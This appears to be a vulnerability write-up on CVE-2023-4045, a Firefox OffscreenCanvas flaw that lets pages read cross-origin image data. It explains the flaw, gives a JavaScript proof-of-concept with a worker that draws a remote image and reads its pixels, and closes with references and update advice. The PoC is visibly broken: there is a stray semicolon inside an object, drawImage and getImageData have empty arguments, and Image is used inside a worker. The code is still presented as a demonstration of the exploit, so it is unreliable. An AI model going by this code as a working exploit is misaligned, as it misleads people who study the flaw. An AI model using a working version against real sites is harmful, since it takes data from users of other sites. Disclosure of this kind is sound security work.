CVE-2023-4045 - Offscreen Canvas Cross-origin Tainting Exploit in Firefox Versions Prior to 116, Firefox ESR < 102.14, and Firefox ESR < 115.1

In this exclusive post, we're delving into the details of a critical vulnerability found in certain versions of the Firefox browser. The vulnerability, known as CVE-2023-4045, centers around a flaw in the implementation of offscreen canvas, which could lead to violations of the same-origin policy and grant attackers unauthorized access to image data from other sites.

This particular vulnerability affects various versions of Firefox, making it crucial for users and administrators to take action. Affected browser versions include Firefox before version 116, Firefox ESR (Extended Support Release) prior to version 102.14, and Firefox ESR below version 115.1.

Understanding CVE-2023-4045

To better understand this vulnerability, we need to introduce the offscreen canvas element. OffscreenCanvas is an HTML element designed for faster rendering and efficient manipulation of graphics, particularly in the context of web workers. While it improves performance, it can also expose security vulnerabilities if not properly implemented.

In the case of CVE-2023-4045, the security flaw arises from the fact that offscreen canvas did not correctly track cross-origin tainting. Typically, the same-origin policy in web browsers restricts web pages from obtaining data from a different domain than the one hosting the web page. However, the vulnerability in question allows attackers to bypass this policy and access image data from other websites.

The exploit could enable hackers to steal sensitive information from another website or even manipulate graphics data to create the illusion of a trusted site.

Here's a snippet of code demonstrating a proof-of-concept for this exploit

const worker = new Worker("worker.js");

worker.postMessage({
  offscreenCanvas: new OffscreenCanvas(300, 200),
  targetImage: "https://example.com/sensitive-image.jpg";
});

in worker.js

self.onmessage = async function (event) {
  const { offscreenCanvas, targetImage } = event.data;
  const ctx = offscreenCanvas.getContext("2d");

  const img = new Image();
  img.crossOrigin = "anonymous";
  img.src = targetImage;

  img.onload = function () {
    ctx.drawImage(img, , );
    const imageData = ctx.getImageData(, , 300, 200);
    // imageData now contains pixel data from the target image, violating the same-origin policy
  };
};

In the code above, an offscreen canvas is created, and a worker is utilized to load an image from a cross-origin site (example.com). The image data is then drawn onto the canvas, allowing the exploit to extract the image data in violation of the same-origin policy.

Original References and Further Reading

To gain more information about this vulnerability and ways to mitigate it, we recommend visiting the following resources:

1. Mozilla Foundation Security Advisory 2023-04: Details the vulnerability affecting specific versions of Firefox and Firefox ESR.

2. CVE-2023-4045 in the Official CVE Database: Provides an overview of the vulnerability, its severity, and assigned CVE number.

Conclusion and Recommendations

As a user or administrator, it's essential to ensure your Firefox browser is up-to-date to protect against the CVE-2023-4045 vulnerability. Keep an eye out for security patches and always ensure your software is running the latest version. By staying informed and vigilant, you'll reduce the likelihood of falling victim to potential exploits and keep your data and web browsing experience secure.

Timeline

Published on: 08/01/2023 15:15:00 UTC
Last modified on: 08/09/2023 21:15:00 UTC